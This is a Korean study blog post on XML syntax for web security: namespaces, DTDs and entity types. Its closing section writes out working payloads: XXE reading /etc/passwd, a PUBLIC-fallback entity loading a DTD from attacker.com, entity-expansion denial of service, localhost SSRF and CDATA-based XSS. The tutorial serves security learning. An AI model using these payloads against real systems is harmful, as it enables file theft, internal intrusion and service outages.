[web] About XML

Study
2025. 8. 4.

Introduction

web에 필요한 최소한의 xml 지식을 정리했다.

XML

XML(Extensible Markup Language)은 데이터를 저장하고 전송하기 위한 마크업 언어로, HTML과 유사하지만 데이터 구조를 정의하는 데 중점을 둔다. XML의 큰 특징은 데이터의 구조화와 확장성이다.

<note>
    <to>you</to>
    <from>zirajs</from>
    <heading>Note</heading>
    <body>XML it is</body>
</note>

위처럼 데이터를 계층 구조를 통해서 나타낼 수 있고, to, from, heading, body 외의 태그를 추가하더라도 유효한 XML이라는 확장성을 갖는다.

이제 XML의 문법적 특징으로 바로 넘어가고자 한다.

Attribute vs Element

XML에서는 데이터를 표현할 때 속성(attribute)과 요소(element)를 사용할 수 있다. 속성은 태그 내에 정의되며, 요소는 별도의 태그로 정의된다.

<!-- This is an element -->
<note>
    <element>value</element>
</note>
<!-- This is an attribute -->
<note attribute="value">
</note>

NameSpace

XML에서 네임스페이스는 XML 문서 내에서 태그 이름의 충돌을 방지하기 위해 사용된다. 네임스페이스는 URI를 사용하여 정의되며, 태그 이름 앞에 접두사를 붙여서 사용한다.

<!-- Define a namespace -->
<!-- The syntax is xmlns:prefix="URI" -->
<note xmlns:example="http://www.example.com">
    <!-- Use the namespace -->
    <!-- The syntax is prefix:tagname -->
    <example:to>you</example:to>
    <example:from>zirajs</example:from>
    <example:heading>Note</example:heading>
    <example:body>XML it is</example:body>
    <comment example:date="2025-0805">Attribute can be defined over namespace</comment>
</note>

DTD

DTD(Document Type Definition)는 XML 문서의 구조를 정의하는 데 사용된다. DTD는 문서 내부에 작성할 수 있고, 문서 외부에서 작성한 후 불러오는 방식으로도 사용할 수 있다.

  1. 내부 DTD
<!DOCTYPE note [
<!ELEMENT note (to, from, heading, body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<!-- #PCDATA는 Parsed Character Data의 약자로, 텍스트 데이터를 의미한다. -->
<note>
    <to>you</to>
    <from>zirajs</from>
    <heading>Note</heading>
    <body>XML it is</body>
</note>
  1. 외부 DTD
<!-- note.xml -->
<!DOCTYPE note SYSTEM "note.dtd">
...
<!-- note.dtd -->
<!ELEMENT note (to, from, heading, body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

DTD Declarations

DTD에서 사용할 수 있는 선언은 아래와 같다.

선언설명
<!ELEMENT>element의 이름과 구조 정의
<!ATTLIST>element의 attribute 정의
<!ENTITY>엔티티를 정의 ☆
<!NOTATION>데이터의 해석 방식 정의
<!DOCTYPE>DOCTYPE 정의

그리고 주로 ENTITY가 xxe에서 주로 사용된다.

ENTITY

<!ENTITY> 선언은 XML 문서 내에서 재사용할 수 있는 문자열을 정의한다. &nbsp;, &amp; 등의 문자를 종종 보았을 것인데 이처럼 문서 내에서 재사용되는 문자열들을 정의할 수 있다.

  1. 내부 엔티티 선언
<!ENTITY username "zirajs">

기본적인 문법은 위와 같다. 그리고 정의한 엔티티는 &username;과 같이 사용할 수 있다.

  1. 외부 엔티티 선언
<!ENTITY logo SYSTEM "https://example.com/logo.svg">

위처럼 외부에서 선언된 엔티티를 불러올 수도 있다.

Note. SYSTEM, PUBLIC keyword

SYSTEM, PUBLIC 키워드는 identifier로 외부 엔티티를 선언할시 어떻게 데이터를 가져올지 정의하는 역할을 한다. SYSTEM: URI, File path를 통해서 데이터를 가져온다. 이를 이용하면 원하는 파일을 로드할 수 있으나 쉬운 문제들에서도 보통 SYSTEM은 막아둔다.

PUBLIC: XML 문서의 Public Identifier를 통해서 데이터를 가져온다. 여기서 Public Identifier란 리소스의 고유한 식별자로 -//Owner//Description//Language 형식으로 작성된다. 몇몇 공식적인 public id를 제외하고선 local에서 직접 정의해서 사용해야 한다. PUBLIC의 문법에서 fallback을 제공하는데 이를 이용해서 외부 dtd를 불러올 수 있다.

  1. parameter 엔티티
<!ENTITY % logo "mylogo.svg">
<!ENTITY logo %logo;>

위와 같이 %를 사용하여 parameter 엔티티를 정의할 수 있다. %logo;와 같이 사용하면 앞서 정의한 대로 mylogo.svg로 대체된다.

  1. Nested 엔티티
<!ENTITY hello "Hello">
<!ENTITY message "&hello;, World!">

위처럼 nested 엔티티를 정의할 수 있다. &message;를 사용하면 Hello, World!로 대체된다.

Exploiting Entities

xml injection에서 엔티티를 이용한 공격은 주로 외부 엔티티를 불러오거나, 내부 엔티티를 재정의하여 악의적인 데이터를 삽입하는 방식으로 이루어진다.

  1. External Entity Injection
<!DOCTYPE note [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<note>
    <to>you</to>
    <from>zirajs</from>
    <heading>Note</heading>
    <body>&xxe;</body>
</note>

위처럼 외부 엔티티를 불러와서 시스템 파일을 읽어오는 방식으로 공격할 수 있다.

  1. External Entity Injection with PUBLIC
<!DOCTYPE note [
<!ENTITY % xxe PUBLIC "-//zirajs//DTD note//EN" "https://attacker.com/attack.dtd">
%xxe;
]>
<note>
    <to>you</to>
    <from>zirajs</from>
    <heading>Note</heading>
    <body>&xxe;</body>
</note>

위처럼 작성된 DTD에서는 PUBLIC이 "-//zirajs//DTD note//EN"에서 정의된 DTD를 읽는 것을 실패하고 fallback으로 정의된 https://attacker.com/attack.dtd를 불러온다. 이렇게 하면 공격자가 정의한 DTD를 불러와서 악의적인 데이터를 삽입할 수 있다.

  1. DDOS
<!DOCTYPE note [
<!ENTITY a0 "ddos">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!-- and so on -->
]>
<note>
    <to>you</to>
    <from>zirajs</from>
    <heading>Note</heading>
    <body>&a100;</body>
</note>

위처럼 작성된 DTD에서는 parser가 &a100;을 처리하기 위해서 계속 expanding하다가 메모리가 터지게 된다. 이러한 요청을 여러개를 날려 DDOS를 유발할 수 있다.

  1. SSRF
<!DOCTYPE note [
<!ENTITY remote SYSTEM "http://localhost:8080/veryimportantapi">
]>
<note>
    <to>you</to>
    <from>zirajs</from>
    <heading>Note</heading>
    <body>&remote;</body>
</note>

Local에서만 돌고 있는 Backend API를 호출하는 SSRF 공격도 가능하다.

CDATA

CDATA(Character Data)는 XML 문서 내에서 raw text를 그대로 표현할 수 있게 해주는 구문이다. 문제는 raw text를 그대로 표현할 수 있기 때문에 script를 injection할 수 있는 취약점이 될 수 있다.

<note>
    <to>you</to>
    <from>zirajs</from>
    <heading>Note</heading>
    <body><![CDATA[<script>alert('XSS');</script>]]></body>
</note>

만약 해당 CDATA부분이 html로 랜더링 된다면 xss 스크립트가 실행되어 alert 창이 뜰 것이다.

<xsl:copy-of select="/"/>

위처럼 xsl:copy-of를 사용하여 CDATA를 그대로 복사하는 경우가 취약한 상황이라고 할 수 있다.

[web] About XML